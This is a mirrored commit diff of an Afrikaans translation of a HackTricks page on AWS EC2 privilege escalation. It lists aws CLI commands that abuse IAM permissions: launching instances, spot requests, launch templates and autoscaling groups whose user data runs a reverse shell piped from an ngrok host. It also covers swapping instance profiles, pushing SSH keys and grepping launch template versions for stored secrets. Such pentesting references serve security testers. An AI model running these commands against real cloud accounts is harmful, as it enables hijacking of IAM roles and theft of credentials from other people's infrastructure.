gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-02 15:59:58 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-01-10 12:03:56 +00:00
parent 95815637eb
commit 70bddaba85
7 changed files with 510 additions and 273 deletions
Download Patch File Download Diff File Expand all files Collapse all files

42
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
View File

@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Wees versigtig met GuradDuty as jy die akrediteerings van die IAM rol buite die instansie gebruik:
Wees versigtig met GuardDuty as jy die akrediteer van die IAM-rol buite die instansie gebruik:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Potensiële Impak:** Direkte privesc na enige EC2 rol wat aan bestaande instansie profiele geheg is.
**Potensiële Impak:** Direkte privesc na enige EC2-rol wat aan bestaande instansieprofiele geheg is.
#### Privesc na ECS
Met hierdie stel toestemmings kan jy ook **'n EC2 instansie skep en dit registreer binne 'n ECS kluster**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2 instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS rolle wat geheg is** steel.
Met hierdie stel toestemmings kan jy ook **'n EC2-instansie skep en dit binne 'n ECS-kluster registreer**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2-instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS-rolle wat geheg is** steel.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -65,14 +65,14 @@ Om te leer hoe om **ECS-dienste te dwing** om in hierdie nuwe EC2-instantie te l
aws-ecs-privesc.md
{{#endref}}
As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar aanval uitvoer.
As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar-aanval uitvoer.
**Potensiële Impak:** Direkte privesc na ECS-rolle wat aan take geheg is.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteer kan steel.\
Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe geloofsbriewe kan steel.\
Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **toevoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is aan 'n gecompromitteerde i**nstans assosieer:**
As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **byvoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is, aan 'n gecompromitteerde i**nstans assosieer:**
- As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`) \*
- As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -90,25 +90,23 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval al toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee geassosieer is, te verander.
Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval reeds toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee geassosieer is, te verander.
- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **assosieer** \*
- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **assosieer**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- of **vervang** die **instansieprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- of **vervang** die **instansprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potensiële Impak:** Direkte privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemmings of spesifieke instansieprofielstatus hê).
### `ec2:RequestSpotInstances`,`iam:PassRole`
'n Aanvaller met die toestemmings **`ec2:RequestSpotInstances`en`iam:PassRole`** kan **versoek** 'n **Spot Instantie** met 'n **EC2-rol aangeheg** en 'n **rev shell** in die **gebruikersdata**.\
'n Aanvaller met die toestemmings **`ec2:RequestSpotInstances`en`iam:PassRole`** kan **aansoek doen** om 'n **Spot Instantie** met 'n **EC2-rol aangeheg** en 'n **rev shell** in die **gebruikersdata**.\
Sodra die instansie gedraai is, kan hy die **IAM-rol** **steel**.
```bash
REV=$(printf '#!/bin/bash
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
'n Aanvaller met die regte **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`en `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template weergawe** met 'n **rev shell in** die **gebruikersdata** en **enige EC2 IAM Rol daarop** skep, die standaard weergawe verander, en **enige Autoscaler-groep** **wat** daardie **Launch Template** gebruik wat **gekonfigureer** is om die **nuutste** of die **standaard weergawe** te gebruik, sal die **instansies** weer **herbegin** met behulp van daardie sjabloon en die rev shell uitvoer.
'n Aanvaller met die regte **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`en `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template weergawe** met 'n **rev shell in** die **gebruikersdata** en **enige EC2 IAM Rol daarop** skep, die standaard weergawe verander, en **enige Autoscaler-groep** **wat** daardie **Launch Template** gebruik wat **gekonfigureer** is om die **nuutste** of die **standaard weergawe** te gebruik, sal die instansies **herbegin** met behulp van daardie template en die rev shell uitvoer.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
'n Aanvaller met die toestemmings **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **'n Launch Configuration skep** met 'n **IAM Rol** en 'n **rev shell** binne die **gebruikersdata**, dan **'n autoscaling-groep skep** vanaf daardie konfigurasie en wag vir die rev shell om die **IAM Rol** te **steel**.
'n Aanvaller met die regte **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **'n Launch Configuration** met 'n **IAM Rol** en 'n **rev shell** binne die **gebruikersdata** skep, dan **'n autoscaling-groep** uit daardie konfigurasie skep en wag vir die rev shell om **die IAM Rol** te **steel**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,18 +200,18 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Die stel van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om** bevoegdhede na 'n IAM-rol te verhoog nie, omdat jy om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **jy die toestemmings `iam:PassRole` en `ec2:RunInstances`** benodig (wat 'n bekende privesc is).
Die stel van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om** voorregte te verhoog na 'n IAM-rol nie, omdat jy om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **jy die toestemmings `iam:PassRole` en `ec2:RunInstances`** benodig (wat 'n bekende privesc is).
### `ec2-instance-connect:SendSSHPublicKey`
'n Aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel aan 'n gebruiker voeg en dit gebruik om toegang te verkry (as hy ssh-toegang tot die instansie het) of om bevoegdhede te verhoog.
'n Aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel aan 'n gebruiker voeg en dit gebruik om toegang te verkry (as hy ssh-toegang tot die instansie het) of om voorregte te verhoog.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is.
**Potensiële Impak:** Direkte priveskakelings na die EC2 IAM rolle wat aan lopende instansies gekoppel is.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Hierdie manier is nie baie nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit te ontgin.
Hierdie manier is nie so nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit te benut.
**Potensiële Impak:** (Hooglik onbewysbaar) Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is.
### `describe-launch-templates`,`describe-launch-template-versions`
Aangesien lansering sjablone weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** toestemmings dit ontgin om sensitiewe inligting te ontdek, soos akrediteer wat in gebruikersdata teenwoordig is. Om dit te bereik, loop die volgende skrip deur al die weergawes van die beskikbare lansering sjablone:
Aangesien lanseringsjablone weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** regte hierdie benut om sensitiewe inligting te ontdek, soos akrediteer wat in gebruikersdata teenwoordig is. Om dit te bereik, loop die volgende skrip deur al die weergawes van die beskikbare lanseringsjablone:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,7 +250,7 @@ done
```
In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om ander tipes sensitiewe inligting te soek.
Aannemend dat ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie akrediteerlinge gebruik om by AWS aan te meld.
As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie akrediteerlinge gebruik om by AWS aan te meld.
**Potensiële Impak:** Direkte voorregverhoging na IAM gebruiker(s).